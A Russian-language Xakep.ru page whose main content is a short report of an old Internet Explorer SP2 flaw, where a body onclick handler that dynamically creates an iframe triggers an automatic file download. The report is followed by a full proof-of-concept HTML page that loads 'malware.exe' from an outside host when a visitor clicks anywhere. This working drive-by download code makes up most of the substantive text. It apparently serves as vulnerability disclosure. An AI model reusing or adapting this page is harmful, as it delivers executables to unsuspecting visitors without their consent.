Наши продукты

Все выпуски в PDF →
  • Годовая подписка на Xakep.ru

    Все статьи, PDF-архив, скидки и другие бонусы

    6000₽ в год

    Подписаться
  • Ежеквартальный «Хакер» #4

    Печатный выпуск за август–ноябрь 2026 года

    2000₽

    Заказать
  • Ежеквартальный «Хакер» #3

    Печатный выпуск за май–июль 2026 года

    2000₽

    Заказать
  • Спецвыпуск «Хакера» #4

    Избранные материалы 2021–2022 годов на бумаге

    2000₽

    Заказать

IE (SP2) не проверяет тег body с событием onclick,
который динамически создает iframe. Таким
образом появляется возможность создать
страницу, при клике на которой
автоматически начнется загрузка файла.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0031)http://theinsider.deep-ice.com/ -->
<HTML><HEAD><TITLE>The-Insider http://theinsider.deep-ice.com>
<META http-equiv=expires content="01 Jan 1998 01:01:00 GMT">
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META http-equiv=Content-Language content=en-us>
<META content=True name=HandheldFriendly>
<META content="MSHTML 6.00.2900.2523" name=GENERATOR></HEAD>

<embed>
<body onclick='a=document.createElement("\<iframe src=\"http:\/\/theinsider.deep-ice.com\/malware.exe\"\>\<\/iframe\>");
document.body.appendChild(a); setTimeout("document.execCommand\(\"refresh\")",1000)'>
<cebter><br><br><br><br><br><br>Click
AnyWhere You Want</center>
</BODY></HTML>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии